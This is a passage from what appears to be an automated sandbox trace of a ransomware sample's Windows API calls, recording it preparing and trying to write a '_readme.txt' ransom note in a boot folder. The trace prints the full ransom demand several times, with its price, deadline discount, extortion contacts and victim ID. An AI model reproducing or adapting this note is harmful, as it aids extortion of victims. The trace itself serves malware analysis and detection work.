(HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.206] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0266.206] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.206] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.206] PathFindFileNameW (pszPath="") returned="" [0266.206] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.207] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.207] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.207] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.207] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0266.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.207] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0266.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.208] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.208] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.208] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.208] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.211] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.211] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.211] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.212] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.212] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.212] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.212] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.212] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.212] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.217] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.218] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.219] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 